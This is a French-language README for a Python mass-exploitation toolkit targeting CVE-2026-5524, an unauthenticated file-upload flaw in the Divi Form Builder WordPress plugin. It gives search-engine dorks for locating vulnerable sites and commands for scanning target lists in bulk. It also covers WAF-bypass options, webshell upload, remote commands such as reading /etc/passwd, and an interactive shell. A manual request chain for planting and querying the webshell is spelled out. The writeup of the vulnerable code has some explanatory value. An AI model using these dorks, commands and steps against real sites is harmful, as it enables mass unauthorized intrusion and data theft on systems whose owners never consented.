
Boîte à outils d'exploitation massive en Python pour CVE-2026-5524, une RCE par téléversement de fichier non authentifié dans le plugin WordPress Divi Form Builder, avec téléversement de webshell et exécution de commandes.
Boîte à outils d'exploitation massive pour CVE-2026-5524, une vulnérabilité de téléversement de fichier arbitraire non authentifiée dans le plugin WordPress Divi Form Builder <= 5.1.8 menant à l'exécution de code à distance.
| Champ | Valeur |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critique) |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affecté | Divi Form Builder <= 5.1.8 |
| Corrigé | 5.1.9 |
| Type | Téléversement de fichier non authentifié menant à RCE |
| Chercheur | 0xd4rk5id3 - EnvoraSec |
Le plugin Divi Form Builder pour WordPress contient une vulnérabilité de téléversement de fichier arbitraire non authentifiée. Le gestionnaire do_image_upload() transmet le paramètre POST acceptFileTypes, contrôlé par l'utilisateur, directement dans une expression régulière utilisée pour valider les extensions de fichier. En fournissant une valeur telle que phtml, un attaquant peut contourner la règle .htaccess du plugin qui ne bloque que l'extension .php et téléverser un webshell avec une extension exécutable par PHP (.phtml, .phar, .php5, .php7, et similaires).
Une fois le fichier déposé dans /wp-content/uploads/de_fb_uploads/, Apache l'exécute en tant que PHP, accordant à l'attaquant l'exécution de code à distance sous l'utilisateur du serveur web.
Le problème est corrigé dans Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Prérequis : Python 3.8 ou supérieur sous Linux, macOS ou WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Pour les cibles derrière un WAF (NinjaFirewall, Wordfence, ModSecurity) ou avec une configuration Apache ou nginx renforcée.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Après un téléversement réussi, le script peut immédiatement exécuter une commande ou ouvrir un shell interactif.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Option | Description |
|---|---|
-u URL | URL d'une cible unique |
-l FILE | Fichier contenant la liste des cibles, une URL par ligne |
-t N | Nombre de threads concurrents (par défaut 10) |
--timeout N | Délai d'expiration des requêtes en secondes (par défaut 15) |
-o FILE | Enregistrer les résultats dans un fichier de sortie JSONL |
--proxy URL | Router le trafic via un proxy HTTP |
--nonce HASH | Utiliser un nonce fourni manuellement, ignorer l'autodétection |
--ext EXT | Forcer une seule extension au lieu de la liste complète de contournement |
--shell | Ouvrir un shell RCE interactif en cas de succès (cible unique uniquement) |
--cmd CMD | Exécuter une commande sur la cible, puis quitter |
--shell-file FILE | Téléverser une charge utile de shell personnalisée au lieu de celle intégrée |
--no-verify | Ignorer l'étape de vérification RCE après le téléversement |
--strict-verify | Confirmer que l'URL du shell renvoie HTTP 200 pour filtrer les faux positifs |
--user-ini | Téléverser un dropper .user.ini pour les environnements PHP-FPM |
--htaccess | Téléverser un réactivateur .htaccess pour les environnements Apache |
--aggressive | Activer toutes les techniques de contournement disponibles |
--null-byte | Inclure les tentatives avec octet nul et double extension |
--path-traversal | Tenter de téléverser dans les sous-répertoires /uploads/YYYY/MM/ |
--debug | Afficher les réponses HTTP brutes pour le diagnostic |
Le gestionnaire vulnérable construit une expression régulière à partir de l'entrée utilisateur sans assainissement.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
En envoyant acceptFileTypes=phtml, l'expression régulière résultante /\.(phtml)$/i correspond aux noms de fichiers se terminant par .phtml, même si le fichier .htaccess du plugin ne bloque que l'extension .php. Apache exécute alors le fichier téléversé en tant que PHP, produisant une exécution de code à distance.
Parcourir une page qui intègre un formulaire Divi Form Builder (/, /contact, /quote, etc). Ajouter un paramètre ?nocache=<random> pour déjouer Varnish, WP Rocket et autres caches de page qui serviraient sinon un nonce obsolète.
Extraire la valeur fb_nonce de l'objet JavaScript localisé :
de_fb_obj = {"fb_nonce":"<10 caractères hexadécimaux>", ...}
Envoyer en POST un formulaire multipart vers /wp-admin/admin-ajax.php avec :
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Lire l'URL du fichier dans la réponse JSON :
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Requêter le shell avec une commande encodée en base64 :
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"